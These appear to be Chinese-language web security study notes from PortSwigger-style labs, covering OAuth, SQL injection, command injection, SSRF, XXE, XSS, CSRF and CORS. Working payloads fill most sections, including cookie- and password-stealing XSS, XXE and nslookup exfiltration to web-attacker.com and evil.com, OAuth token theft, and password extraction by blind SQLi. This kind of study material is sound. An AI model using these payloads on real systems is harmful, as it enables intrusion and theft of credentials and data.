1 OAuth 2.0 authentication vulnerability
1.1 OAuth 2.0两种常见的grant type
1.1.1 Authorization code grant type
1)授权请求
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
client_id
: 客户端应用程序唯一标识符,用于OAuth 2.0 区分注册网站如果你是一个A网站,需要获取用户在腾讯的账户信息,那么你需要在腾讯注册你的应用,获取你的client_id。这样在认证的时候,腾讯的OAuth就可以区分这个用户授权了哪些应用(你的A网站或者别人的B网站)。A网站和B网站都有各自的client_id,腾讯根据这个id来区分用户给予的授权。当然了,为了防止伪造,还会另外有一个clinet_secret用于确认你使用的client_id确实是你这个网站所持有的。
redirect_uri
: 用户同意授权后跳转到的网址response_type
: 返回类型,这里code代表Authorization code grant typescope
: 所需要获取用户信息范围state
: 作为csrf token 防止csrf
2)用户授权
3)返回授权码
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
4)应用向OAuth服务器请求token
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8
client_secret
:应用密钥,用于验证应用真实性grant_type
:设置为grant type
5)应用获得token
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid profile",
…
}
6)应用凭借token向资源服务器api请求用户资源
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
7)应用取得用户信息
{
"username":"carlos",
"email":"carlos@carlos-montoya.net",
…
}
1.1.2 Implicit grant type
1)发送授权请求
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
2)用户登录与授权
3)应用得到token
GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
4)应用凭借token请求用户信息api
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5
5)返回请求资源
{
"username":"carlos",
"email":"carlos@carlos-montoya.net"
}
1.2 攻击场景
implict
授权模式:用户通过OAuth 2.0进行登录,获得token后,用户向应用程序传递token和用户信息,应用程序只验证了token的合法性,然后根据提交的用户信息来确认登录用户。于是攻击者可以在登录时更改用户名使用攻击者自己的token,越权登录其它用户。(应用程序问题)authorization
授权模式:网站A同时允许账号-密码登录和社交媒体登录,社交媒体登录使用OAuth 2.0进行验证,然而网站A缺少state参数,可能会发生CSRF。考虑这样一个问题,用户账号可以绑定社交媒体,通过GET /oauth-linking?code=[…]实现,code参数为OAuth服务器返回的授权码,于是攻击者可以使用自己的授权码发送给管理员,管理员账户则绑定了攻击者社交媒体,攻击者可凭此登入管理员账户。(应用程序问题)<iframe src="https://YOUR-LAB-ID.web-security-academy.net/oauth-linking?code=STOLEN-CODE"></iframe>
authorization
授权模式:网站A对redirect_uri
参数未做限制,可以通过CSRF获取管理员授权码,越权进行登录。(OAuth服务端问题)<iframe src="https://YOUR-LAB-OAUTH-SERVER-ID.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe>
implict
授权模式:网站A对redirect_uri
参数进行白名单限制,在其它绕过方式无效的情况下存在目录穿越,同时网站存在一个开放跳转接口GET /post/next?path=[...]
,通过该接口可以将token发送到攻击者服务器上。攻击过程类似于CSRF,攻击者窃取token后,攻可以凭借token向OAuth2.0服务器进行资源请求,获得用户敏感信息。(OAuth服务端问题)<script>
if (!document.location.hash) {
window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
implict
授权模式:与上一个问题相同,网站A对redirect_uri参数存在目录穿越,同时网站存在一个网页iframe,该iframe加载一个postMessage方法,会将windows.location中的内容传递给父页面,于是攻击者可以构造脚本监听得到消息获得token窃取用户敏感信息。<!-- /post/comment/comment-form -->
<script>
parent.postMessage({type: 'onload', data: window.location.href}, '*')
......
</script>
<!-- evil code -->
<iframe src="https://YOUR-LAB-AUTH-SERVER/auth?client_id=YOUR-LAB-CLIENT_ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
2 SQL injection
2.1 SQL injection UNION attacks
注入要求:column数量和字段类型相匹配,使用null可以匹配任何类型
- Mysql注释符为
--
两个减号加空格,或者#
符号 - Oracle查询语句必须有from table字段,所以常常使用
' union select null from dual --
,dual为Oracle一个内置表 - 通过类似
' union select 'a',null,null --
来探测字符串字段
数据库相关参数:
MySQL: select @@version
Oracle:select banner from v$version
PostgreSQL: select version()
读取数据:
MySQL:select table_name from information_schema.tables
select column_name from information_schema.columns where table_name=' '
Oracle:select table_name from all_tables
select column_name from all_tab_columns where table_name=''
相关函数:
https://portswigger.net/web-security/sql-injection/cheat-sheet
2.2 Blind SQL injection vulnerabilities
判断具体值:TrackingId=q5pOUNm6W6Fdh9F0' and substring((select password from users where username='administrator'),1,1)='2;
判断字段长度:TrackingId=q5pOUNm6W6Fdh9F0' and length((select password from users where username='administrator'))=20-- ;
或TrackingId=q5pOUNm6W6Fdh9F0' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
case语句
select CASE 'B' WHEN 'A' THEN '优' ELSE '不及格' END;
TrackingId=h4exDQzsIRYBACLj'||(SELECT CASE WHEN SUBSTR(password,1,1)='§b§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
或者TrackingId=ZYftSAiziDwc537L'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,10,1)='§a§')+THEN+pg_sleep(20)+ELSE+pg_sleep(0)+END+FROM+users--
使用burp intruder进行测试。
out-of-band (OAST) techniques
暂时跳过,待续…
2.3 How to prevent SQL injection
存在SQL注入的参数拼接方式:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
不存在SQL注入的参数化查询方式:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
参数化查询之所以能防止SQL注入: 参数化为我们提供了消除这种误解的能力。在遇到参数时,不管输入任何值,都将整个值作为参数的值,而不是原始 SQL 文本的一部分,将数据和指令区分开来。
3 Authentication vulnerabilities
3.1 Vulnerabilities in password-based login
3.2 Vulnerabilities in multi-factor authentication
双因子认证中存在的逻辑问题,包括不限于token爆破与绕过。
3.3 Vulnerabilities in other authentication mechanisms
保持登录cookie可爆破、密码重置逻辑漏洞、密码重置毒化攻击
X-Forwarded-Host:
The X-Forwarded-Host (XFH) 是一个标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。
3.4 Password reset poisoning
正常的密码重置流程如下:
- 用户名提交邮箱地址和密码重置请求
- 网站在后端检查该用户是否存在并生成一个临时的加密的token关联到该账户
- 网站发送包含密码重置链接的邮件给用户,密码重置链接类似于:https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
- 当用户访问这个URL时,网站检查token的有效性,提供密码修改页面。
毒化的密码重置流程如下:
- 攻击者获取到受害者的邮箱地址和用户名并代替受害者发送密码重置请求。当提交密码重置请求表单时,攻击者拦截HTTP请求并修改Host头或者其它参数为攻击者控制的域名,在这个例子中,我们使用evil-user.net
- 当受害者收到密码重置邮件, 该密码重置邮件和其它密码重置邮件唯一的不同就是密码重置链接域名,类似于:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
- 如果受害者点击这个链接(或者由其它方式,比如反病毒引擎),该密码重置的token将会被传送到攻击者的服务器上。
- 攻击者根据获得的token拼接访问真实的提供给用户密码重置的地址。然后攻击者可以重置受害者的密码。
相关攻击场景:
- ../../../../etc/passwd
- 绝对路径绕过:/etc/passwd
- 前缀检查绕过:/var/www/image/../../../etc/passwd
- 后缀检查绕过:../../../../etc/passwd%00.png
- URL双重编码绕过:..%252F..%252F..%252Fetc/passwd
5 OS command injection
5.1 有回显的命令执行
常用系统命令:
作用 | Linux | Windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接情况 | netstat -an | netstat -an |
进程列表 | ps -ef | tasklist |
常用的连接符:
_&&_
:类似与,只有当前一条命令执行成功时才会执行该指令后的命令||
:类似或,只有当前一条命令执行失败时才会执行该指令后的命令|
:管道命令,上一条命令的输出作为下一条命令的输入;
:分隔两条命令command
:反引号中的命令会在行内执行&
:命令在后台执行$( injected command )
:执行命令5.2 无回显的命令执行
- 时间延时:使用
& ping -c 10 127.0.0.1 &
- 输出重定向:使用
& whoami > /var/www/static/whoami.txt &
带外传输:使用
& nslookup kgji2ohoyw.web-attacker.com &
6 Access control
6.1 请求头绕过认证模式
有些应用会支持非标准的请求头,比如:允许”
X-Original-URLorX-Rewrite-URL
“覆盖目标url值。这种方式适合于权限控制是基于请求链接限制的情况,比如:应用程序的后台地址”/console”或者”/admin”禁止通过互联网访问。但是探测到请求头支持”X-Original-URLorX-Rewrite-URL”,可以使用以下方式绕过该限制:GET /invalid HTTP/1.1
Host: www.example.com
X-Original-URL: /admin
[...]
需要注意一点,带参数访问受限制URL时,需要将参数加到/invalid部分,如下所示:
GET /invalid?username=carlos HTTP/1.1
Host: www.example.com
X-Original-URL: /admin/delete
[...]
如果使用了”X-Original-URL”或者”X-Rewrite-URL”请求的响应包中提示”不存在的路径信息”或者是404状态,或者是”资源未发现”等相关内容,表明应用程序支持这两种特殊的请求头。此时我们可以指定”X-Original-URL”或者”X-Rewrite-URL”为”/console”或者”/admin”,尝试绕过禁止互联网访问的限制。
通常网站的后台管理都是对内网ip开放的,此时可以使用各种各样代理转发相关的http请求头来绕过内网ip访问限制。可以用如下请求头做尝试:X-Forwarded-For
- X-Forward-For
- X-Remote-IP
- X-Originating-IP
- X-Remote-Addr
- X-Client-IP
对应的参数值可以是如下形式:
- 127.0.0.1
- 127.0.0.0/8
- ::1/128
- localhost
- 与渗透目标相关的私有网络地址:10.0.0.0/8;172.16.0.0/12;192.168.0.0/16
- 链路本地地址:169.254.0.0/16
在地址或者主机名中加上端口信息,有时候也可以绕过防火墙,比如:127.0.0.4:80,127.0.0.4:443,127.0.0.4:43982等形式。
7 SSRF
利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
利用@绕过域名检测
http://example.com@127.0.0.1
利用短地址
http://mtw.so/6xb5Dq >>> http://127.0.0.1
利用特殊域名,像nip.io,sslip.io,xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,
http://127.0.0.1.xip.io/
利用DNS解析
在域名上设置A记录,指向127.0.0.1
利用上传
修改"type=file"为"type=url"
比如:上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
利用Enclosed alphanumerics,英文字母以及其他一些可以网上找
http://①②⑦.⓪.⓪.①
0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://0/
指向127.0.0.1,在liunx下可用,window不行
http://[0:0:0:0:0:ffff:127.0.0.1]/
指向127.0.0.1,在liunx下可用,window不行
http://[::]:80/
利用中文句号绕过
http://127。0。0。1/
0的数量多一点少一点没影响,最后还是会指向127.0.0.1
http://127.1/
http://127.00000.00000.001/
利用进制转换
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
8 XXE
<!-- 普通XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
<!-- XXE盲注 -->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
<!-- XXE盲注带数据 -->
<!-- http://www.evil.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
<!-- 注入payload -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://www.evil.com/evil.dtd"> %xxe;]>
<!-- 基于错误信息的XXE盲注 -->
<!-- http://www.evil.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- 注入payload -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://www.evil.com/evil.dtd"> %xxe;]>
<!-- 基于本地DTD文件的XXE -->
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<!-- xinclude攻击 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
<!-- payload -->
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo> &storeId=1
<!-- svg图片注入XXE -->
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
8.1 libxml2.8.0版本存在XXE漏洞
Libxml2.9.0 以后 ,默认不解析外部实体,对于PHP版本不影响XXE的利用。
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞 。
1)读取任意文件
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<root><name>&xxe;</name></root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<root>
<name>&xxe;</name>
</root>
2)命令执行
在特殊的配置环境下,PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
3)探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.199.100:80">]>
<root>
<name>&xxe;</name>
</root>
POST /simplexml_load_string.php HTTP/1.1
Host: node4.buuoj.cn:29938
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c9ce35998a-0cfcece591e94d8-4c3e247b-144000-17c9ce35999711
Upgrade-Insecure-Requests: 1
Content-Length: 132
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root><name>&xxe;</name></root>
9 XSS
// 发送cookie
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
// 密码管理器自动填充,获取密码
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
// CSRF修改邮箱
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
// 高级绕过方式
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
9.1 自定义标签导致XSS
在所有标签都被屏蔽的情况下,如果该网站支持自定义标签,则以下用法也可以导致XSS。
<xss id="x" onfocus=alert(1) tabindex=1>#x
- URL中的
**_#_**
: 使窗口定位到页面中的id, class的位置, 用法:http://www.example.com/index.html#id
tabindex
: html中的tabIndex属性可以设置键盘中的TAB键在控件中的移动顺序,即焦点的顺序。
把控件的tabIndex属性设成1到32767的一个值,就可以把这个控件加入到TAB键的序列中。这样,当浏览者使用TAB键在网页控件中移动时,将首先移动到具有最小tabIndex属性值的控件上,最后在具有最大tabIndex属性值的控件上结束移动。如果有两个控件的tabIndex属性相同,则以控件在html代码中出现的顺序为准。默认的tabIndex属性为 0 ,将排列在在所有指定tabIndex的控件之后。而若把tabIndex属性设为一个负值(如tabIndex=”-1”),那么这个链接将被排除在TAB键的序列之外。
10 CSRF
<!-- example -->
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<iframe hidden width=1000 heigth=100 src="#" srcdoc='
<form action="https://ac001fe81ef661a380778a6d00720089.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@normal-user.netttt" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
'></iframe>
</body>
</html>
<!-- get型example -->
<img src="https://acaa1fac1ef5b3788037287c009000df.web-security-academy.net/my-account/change-email?email=wiener%40normal-user.net">
<!-- 检测referer头,有时可通过禁用referer -->
<meta name="referrer" content="never">
11 CORS
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>